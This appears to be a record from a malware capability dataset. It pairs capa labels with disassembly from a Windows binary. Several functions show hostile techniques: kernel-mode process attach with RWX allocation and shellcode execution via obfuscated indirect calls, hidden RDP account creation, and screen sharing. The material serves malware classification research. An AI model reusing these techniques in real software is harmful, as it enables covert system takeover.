joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14006cc70
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x14023c070]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x14006ccc7
cmp word [rdx], r13w
jne 0x14006ccc7
or byte [rax + rdi*8 + 0x38], cl
jmp 0x14006cccc
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x14006cdf1
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x14006ce12
lea r9, [rdx + 2]
cmp cx, r11w
je 0x14006cd05
mov rdx, r9
mov word [rbx], cx
jmp 0x14006cd2c
cmp r9, r8
jae 0x14006cd3c
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x14006cce6
jmp 0x14006cdf1
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14006cde6
cmp dword [rsp + 0x80], esi
je 0x14006cde6
lea r8, [0x14023c070]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x14006cdbe
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x14006cd8e
mov word [rbx], r13w
jmp 0x14006cdee
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x14006cd9b
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x14006cdee
cmp word [rsp + 0x70], r13w
jne 0x14006cdcb
cmp rbx, r14
je 0x14006cd88
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.14006d8d8
cmp word [rsp + 0x70], r13w
je 0x14006cdf1
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x14023c070]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x14006cdeb
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x14006cdf1
Function at 0x14006e3a0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14006e427
mov rsi, rbx
cmp word [rax], bp
je 0x14006e3e6
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14006e3d0
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14006e3cc
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140062720
mov rdi, rax
test rax, rax
je 0x14006e414
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140072390
mov rbp, rdi
xor ecx, ecx
call fcn.1400626e4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140071fc0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140071fe8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140071fe8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140007570
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov eax, dword [0x14000a2d0]
lea r9, [rsp + 0x20]
movups xmm0, xmmword [str.qsqwqsq]
mov dword [rsp + 0x40], eax
xor r8d, r8d
movups xmm1, xmmword [0x14000a2c0]
mov al, byte [0x14000a2d4]
movups xmmword [rsp + 0x20], xmm0
mov byte [rsp + 0x44], al
movups xmmword [rsp + 0x30], xmm1
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
mov al, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9], al
inc r9
cmp r8d, 0x25
jl 0x1400075ae
xor ebx, ebx
lea rdi, [0x14000a750]
rdtsc
shl rdx, 0x20
or rax, rdx
mov rcx, rax
call fcn.140008dd4
cmp byte [rsp + 0x44], 0
je 0x140007625
xor r8d, r8d
lea r9, [rsp + 0x20]
mov eax, 0x4ec4ec4f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
mov al, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9], al
inc r9
cmp r8d, 0x25
jl 0x1400075fe
call fcn.140008de8
mov r8d, eax
inc ebx
mov eax, 0x38e38e39
imul r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea ecx, [rdx + rdx*8]
shl ecx, 2
sub r8d, ecx
movsxd rcx, r8d
mov dl, byte [rsp + rcx + 0x20]
mov byte [rdi], dl
inc rdi
cmp ebx, 0xd
jb 0x1400075de
mov rbx, qword [rsp + 0x60]
mov al, 1
add rsp, 0x50
pop rdi
ret
Function at 0x1400085f8
Capabilities:
Allocate or change rwx memory
Attach user process memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rdx
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x90
mov r8d, ecx
test ecx, ecx
je 0x140008713
test rdx, rdx
je 0x140008713
and qword [rbp + 0x7f], 0
xor eax, eax
mov dword [rbp + 7], 0x7b253734
mov qword [rbp + 0xf], rax
mov word [rbp + 0x17], ax
mov byte [rbp + 0x19], al
mov dword [rbp + 0xb], 0xe5e8ea8d
mov qword [rbp + 0x77], rax
mov rax, qword [rbp + 0x77]
mov rdx, qword [rbp + 0x77]
mov rax, qword [rbp + 0x77]
sub dl, 0x31
mov cl, byte [rbp + rax + 7]
mov al, dl
and al, cl
add al, al
sub dl, al
mov rax, qword [rbp + 0x77]
add dl, 0x57
add dl, cl
mov byte [rbp + rax + 7], dl
mov rax, qword [rbp + 0x77]
inc rax
mov qword [rbp + 0x77], rax
mov rax, qword [rbp + 0x77]
cmp rax, 0x13
jb 0x140008646
mov rax, qword [rbp + 7]
lea rdx, [rbp + 0x7f]
xor rax, qword [0x14000a600]
mov rcx, r8
call rax
test eax, eax
js 0x140008713
mov rcx, qword [rbp + 0x7f]
call fcn.140007ee8
test rax, rax
jne 0x14000871e
mov qword [rbp + 0xf], rax
mov dword [rbp + 0x17], eax
mov dword [rbp + 7], 0x30edea35
mov dword [rbp + 0xb], 0x59ffa45b
mov qword [rbp + 0x77], rax
mov rax, qword [rbp + 0x77]
mov rdx, qword [rbp + 0x77]
mov ecx, 0x3e
mov rax, qword [rbp + 0x77]
add dl, 0x5c
mov r8b, byte [rbp + rax + 7]
mov al, dl
and al, r8b
sub cl, al
mov rax, qword [rbp + 0x77]
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + rax + 7], cl
mov rax, qword [rbp + 0x77]
inc rax
mov qword [rbp + 0x77], rax
mov rax, qword [rbp + 0x77]
cmp rax, 0x14
jb 0x1400086c2
mov rax, qword [rbp + 7]
xor rax, qword [0x14000a630]
mov rcx, qword [rbp + 0x7f]
call rax
xor eax, eax
add rsp, 0x90
pop rbp
ret
mov rcx, qword [rbp + 0x7f]
lea rdx, [rbp + 0x27]
xorps xmm0, xmm0
movups xmmword [rbp + 0x27], xmm0
movups xmmword [rbp + 0x37], xmm0
movups xmmword [rbp + 0x47], xmm0
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
and qword [rbp - 9], 0
lea r9, [rbp + 0x6f]
xor r8d, r8d
mov dword [rsp + 0x28], 0x40
lea rdx, [rbp - 9]
mov dword [rsp + 0x20], 0x3000
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntoskrnl.exe_ZwAllocateVirtualMemory]
mov r8, qword [rbp + 0x6f]
mov edx, 0xcc
mov rcx, qword [rbp - 9]
call fcn.140008f58
lea rcx, [rbp + 0x27]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
xor eax, eax
mov dword [rbp + 7], 0xbcf9f241
mov byte [rbp + 0x1f], al
xorps xmm0, xmm0
movups xmmword [rbp + 0xf], xmm0
mov dword [rbp + 0xb], 0xdefe873
mov qword [rbp + 0x77], rax
mov rax, qword [rbp + 0x77]
mov rdx, qword [rbp + 0x77]
mov rax, qword [rbp + 0x77]
sub dl, 0x46
mov cl, byte [rbp + rax + 7]
mov al, dl
and al, cl
add al, al
sub dl, al
mov rax, qword [rbp + 0x77]
sub dl, 0x16
add dl, cl
mov byte [rbp + rax + 7], dl
mov rax, qword [rbp + 0x77]
inc rax
mov qword [rbp + 0x77], rax
mov rax, qword [rbp + 0x77]
cmp rax, 0x19
jb 0x1400087a3
mov rax, qword [rbp + 7]
xor rax, qword [0x14000a630]
mov rcx, qword [rbp + 0x7f]
call rax
mov rax, qword [rbp - 9]
jmp 0x140008715
Function at 0x140008c84
Capabilities:
Attach user process memory
Find process by pid

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], rbx
mov qword [rax + 0x18], r8
mov qword [rax + 0x10], rdx
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0x90
and qword [rbp - 1], 0
lea rdx, [rbp - 1]
mov ecx, ecx
mov ebx, r9d
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
jns 0x140008cbe
xor al, al
jmp 0x140008d78
mov rcx, qword [rbp - 1]
lea rdx, [rbp + 0x27]
and dword [rbp + 0x67], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x27], xmm0
movups xmmword [rbp + 0x37], xmm0
movups xmmword [rbp + 0x47], xmm0
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
lea rax, [rbp + 0x67]
mov r9d, ebx
lea r8, [rbp + 0x77]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x6f]
or rcx, 0xffffffffffffffff
call sub.ntoskrnl.exe_ZwProtectVirtualMemory
lea rcx, [rbp + 0x27]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
xor eax, eax
mov dword [rbp + 7], 0x286d6215
mov dword [rbp + 0x1f], eax
xorps xmm0, xmm0
mov word [rbp + 0x23], ax
movups xmmword [rbp + 0xf], xmm0
mov dword [rbp + 0xb], 0xe15f74e3
mov qword [rbp - 9], rax
mov rax, qword [rbp - 9]
mov rdx, qword [rbp - 9]
mov rax, qword [rbp - 9]
add dl, 8
mov cl, byte [rbp + rax + 7]
mov al, dl
and al, cl
sub cl, 0x38
add al, al
sub dl, al
add dl, cl
mov rcx, qword [rbp - 9]
mov byte [rbp + rcx + 7], dl
mov rcx, qword [rbp - 9]
inc rcx
mov qword [rbp - 9], rcx
mov rcx, qword [rbp - 9]
cmp rcx, 0x1e
jb 0x140008d2c
mov rdx, qword [rbp + 7]
xor rdx, qword [0x14000a630]
mov rcx, qword [rbp - 1]
call rdx
mov al, 1
mov rbx, qword [rsp + 0xb8]
add rsp, 0x90
pop rbp
ret
Function at 0x140003410
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r10, rcx
mov r9d, 0x270
mov ecx, dword [rcx]
cmp ecx, r9d
jne 0x140003471
lea r8, [r10 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r9, 1
jne 0x140003430
mov ecx, dword [r10]
jmp 0x14000355a
cmp ecx, 0x4e0
jb 0x14000355a
lea r11, [r10 + 0x9c4]
mov qword [rsp], rbx
mov eax, dword [r11]
mov ebx, 0xe3
mov edx, dword [r11 + 4]
lea r8, [r11 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 + 0x634]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x140003490
lea r11, [r10 + 0xd50]
mov ebx, 0x18c
mov eax, dword [r11]
nop dword [rax + rax]
mov edx, eax
lea r8, [r11 + 4]
xor edx, dword [r8]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 - 0xd4c]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x1400034e0
mov edx, dword [r10 + 0x1380]
xor edx, dword [r10 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, dword [r10 + 0x1380]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x634]
xor ecx, edx
mov dword [r10 + 0x9c0], ecx
xor ecx, ecx
mov dword [r10], ecx
mov eax, ecx
mov edx, dword [r10 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r10], eax
mov ecx, edx
mov eax, dword [r10 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret
Function at 0x140006300
Capabilities:
Create http request

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0xb0
mov rax, qword [0x140084060]
xor rax, rsp
mov qword [rsp + 0xa0], rax
xor edi, edi
mov ebx, edi
nop dword [rax]
nop word [rax + rax]
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
lea rcx, str.21284
call qword [sym.imp.WININET.dll_InternetOpenW]
mov qword [0x140088138], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
lea r9, [rsp + 0x9a]
add r9, 0xfffffffffffffffe
mov eax, 0xcccccccd
mul ecx
mov r8d, edx
shr r8d, 3
movzx eax, r8w
shl ax, 2
lea edx, [rax + r8]
add dx, dx
sub cx, dx
add cx, 0x30
mov word [r9], cx
mov ecx, r8d
test r8d, r8d
jne 0x140006362
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], di
lea rax, [rsp + 0x9a]
cmp r9, rax
je 0x1400063d7
lea r8, [rsp + 0x9a]
sub r8, r9
sar r8, 1
mov rdx, r9
lea rcx, [rsp + 0x30]
call fcn.1400023b0
nop
lea r8, [rsp + 0x30]
lea rdx, str.Error_InternetOpen_:
lea rcx, [rsp + 0x50]
call fcn.140006570
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x140006430
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000642b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400064cb
call fcn.14003ba0c
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x14000647b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006476
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400064c5
call fcn.14003ba0c
cmp qword [0x140088138], 0
jne 0x14000649f
cmp ebx, 5
jle 0x140006330
mov rcx, qword [0x140084cb0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
xor eax, eax
jmp 0x1400064a4
mov eax, 1
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.14003b9b0
mov rbx, qword [rsp + 0xc0]
add rsp, 0xb0
pop rdi
ret
call fcn.140042fc0
int3
call fcn.140042fc0
int3
Function at 0x140007b90
Capabilities:
Initialize winsock library

Disassembly:
sub rsp, 0x248
mov rax, qword [0x140084060]
xor rax, rsp
mov qword [rsp + 0x230], rax
mov ecx, 2
lea rdx, [rsp + 0x60]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140007d0b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r9d, eax
lea r10, [rsp + 0x22a]
nop dword [rax]
nop word [rax + rax]
sub r10, 2
mov eax, 0xcccccccd
mul r9d
mov r8d, edx
shr r8d, 3
movzx ecx, r8w
shl cx, 2
lea edx, [rcx + r8]
add dx, dx
sub r9w, dx
add r9w, 0x30
mov word [r10], r9w
mov r9d, r8d
test r8d, r8d
jne 0x140007be0
xor eax, eax
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 7
mov word [rsp + 0x20], ax
lea rax, [rsp + 0x22a]
cmp r10, rax
je 0x140007c5a
lea r8, [rsp + 0x22a]
sub r8, r10
sar r8, 1
mov rdx, r10
lea rcx, [rsp + 0x20]
call fcn.1400023b0
nop
lea r8, [rsp + 0x20]
lea rdx, str._Error_WSAStartup_:
lea rcx, [rsp + 0x40]
call fcn.140006570
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 8
jb 0x140007cb3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007cae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007d2e
call fcn.14003ba0c
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x140007cf1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007cec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007d28
call fcn.14003ba0c
xor eax, eax
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.14003b9b0
add rsp, 0x248
ret
mov eax, 1
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.14003b9b0
add rsp, 0x248
ret
call fcn.140042fc0
int3
call fcn.140042fc0
int3
Function at 0x140008c00
Capabilities:
Add user account

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xf0
mov rax, qword [0x140084060]
xor rax, rsp
mov qword [rbp + 0x3f], rax
mov rdi, rcx
xor esi, esi
mov dword [rbp - 0x19], esi
mov qword [rbp + 3], rsi
mov dword [rbp + 0xb], esi
mov qword [rbp - 0x29], rcx
mov qword [rbp - 0x21], rdx
mov dword [rbp - 0x15], 1
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x11], xmm0
mov dword [rbp - 1], 0x201
xor r9d, r9d
lea r8, [rbp - 0x29]
lea edx, [rsi + 1]
xor ecx, ecx
call qword [sym.imp.NETAPI32.dll_NetUserAdd]
mov ebx, eax
test eax, eax
jne 0x140008c6e
mov al, 1
jmp 0x140008e56
mov qword [rbp - 0x69], rsi
mov qword [rbp - 0x59], rsi
mov qword [rbp - 0x51], 7
mov word [rbp - 0x69], si
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rdi + r8*2], si
jne 0x140008c90
mov rdx, rdi
lea rcx, [rbp - 0x69]
call fcn.1400023b0
nop
lea r9, [rbp + 0x39]
nop dword [rax + rax]
sub r9, 2
mov eax, 0xcccccccd
mul ebx
shr edx, 3
movzx eax, dx
shl ax, 2
lea ecx, [rax + rdx]
add cx, cx
sub bx, cx
add bx, 0x30
mov word [r9], bx
mov ebx, edx
test edx, edx
jne 0x140008cb0
mov qword [rsp + 0x20], rsi
mov qword [rbp - 0x79], rsi
mov qword [rbp - 0x71], 7
mov word [rsp + 0x20], si
lea rax, [rbp + 0x39]
cmp r9, rax
je 0x140008d13
lea r8, [rbp + 0x39]
sub r8, r9
sar r8, 1
mov rdx, r9
lea rcx, [rsp + 0x20]
call fcn.1400023b0
nop
lea r8, [rsp + 0x20]
lea rdx, str.Error_Creating_RDP_account___error_code_:
lea rcx, [rbp - 0x49]
call fcn.140006570
nop
lea r9, [rbp - 0x69]
mov r8, rax
lea rcx, [rbp + 0xf]
call fcn.140006860
nop
mov rdx, qword [rbp - 0x31]
cmp rdx, 8
jb 0x140008d7a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x49]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008d75
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008e7b
call fcn.14003ba0c
mov qword [rbp - 0x39], rsi
mov qword [rbp - 0x31], 7
mov word [rbp - 0x49], si
mov rdx, qword [rbp - 0x71]
cmp rdx, 8
jb 0x140008dcb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008dc6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008e81
call fcn.14003ba0c
mov qword [rbp - 0x79], rsi
mov qword [rbp - 0x71], 7
mov word [rsp + 0x20], si
mov rdx, qword [rbp - 0x51]
cmp rdx, 8
jb 0x140008e18
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x69]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008e13
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008e87
call fcn.14003ba0c
mov rdx, qword [rbp + 0x27]
cmp rdx, 8
jb 0x140008e54
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xf]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008e4f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008e75
call fcn.14003ba0c
xor al, al
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.14003b9b0
mov rbx, qword [rsp + 0x120]
add rsp, 0xf0
pop rdi
pop rsi
pop rbp
ret
call fcn.140042fc0
nop
call fcn.140042fc0
nop
call fcn.140042fc0
nop
call fcn.140042fc0
int3
Function at 0x14000ca30
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x30
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x14000ca52
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdi
je 0x14000cacc
mov rdi, r14
mov rcx, rbx
call fcn.14000df30
test rax, rax
jle 0x14000caa4
mov rdx, qword [rbx + 0x38]
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov r8, rbp
mov rdx, qword [rdx]
call fcn.14003dae0
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x14000cabc
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x14000cac4
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x14000ca66
sub r14, rdi
jmp 0x14000cbb9
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x14000cae3
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14000cae5
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14000cb1a
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.14003dae0
mov rax, qword [rbx + 0x50]
sub rbp, rdi
add rsi, rdi
mov r8, rbp
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x14000cbb6
mov r9, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r9], rax
jne 0x14000cb55
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r9], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rdi, r8
cmp r8, 0xfff
jbe 0x14000cb91
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.14004599c
sub rbp, rax
add rsi, rax
mov rdi, rbp
cmp rax, 0xfff
jne 0x14000cbcf
cmp rbp, rax
ja 0x14000cb61
mov r8, rdi
test rdi, rdi
je 0x14000cbb6
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.14004599c
mov r8, rdi
sub r8, rax
sub r14, r8
mov rbp, qword [rsp + 0x28]
mov rax, r14
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
sub r14, rbp
jmp 0x14000cbb9
Function at 0x14000f310
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
mov rbp, rsp
sub rsp, 0x70
mov dword [rbp - 0x30], 0x18155a5a
mov dword [rbp - 0x2c], 0x16131902
mov dword [rbp - 0x28], 0x7d7a0e05
mov dword [rbp - 0x24], 0x3191834
mov dword [rbp - 0x20], 0x5a031912
mov dword [rbp - 0x1c], 0x12070e23
mov dword [rbp - 0x18], 0x1a1e574d
mov dword [rbp - 0x14], 0x58121016
mov dword [rbp - 0x10], 0x1012071d
mov dword [rbp - 0xc], 0x7d7a7d7a
xor esi, esi
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], select
mov byte [rbp - 0x50], sil
lea r8d, [rsi + 0xe]
lea rdx, str.ScreenShareHdr
lea rcx, [rbp - 0x50]
call fcn.140002550
nop
lea rdx, [rbp - 0x50]
call fcn.1400102f0
mov rbx, rax
mov rdi, qword [rax]
mov rcx, qword [rax + 0x10]
sub rcx, rdi
cmp rcx, 0x28
jae 0x14000f3c2
lea edx, [rsi + 0x28]
mov rcx, rax
call fcn.140011060
mov rdi, qword [rbx]
mov r8d, 0x28
lea rdx, [rbp - 0x30]
mov rcx, rdi
call fcn.14003dae0
lea rax, [rdi + 0x28]
mov qword [rbx + 8], rax
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x14000f417
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f412
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f575
call fcn.14003ba0c
mov word [rbp + 0x10], 0x7d7a
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], select
mov byte [rbp - 0x50], 0
mov r8d, 4
lea rdx, str.newl
lea rcx, [rbp - 0x50]
call fcn.140002550
nop
lea rdx, [rbp - 0x50]
call fcn.1400102f0
mov rbx, rax
mov rdx, qword [rax]
mov rcx, qword [rax + 0x10]
sub rcx, rdx
cmp rcx, 2
jae 0x14000f474
mov edx, 2
mov rcx, rax
call fcn.140011060
mov rdx, qword [rbx]
movzx eax, word [rbp + 0x10]
mov word [rdx], ax
lea rax, [rdx + 2]
mov qword [rbx + 8], rax
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x14000f4be
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f4b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000f56f
call fcn.14003ba0c
mov rax, qword [0x1400884b0]
mov rax, qword [rax]
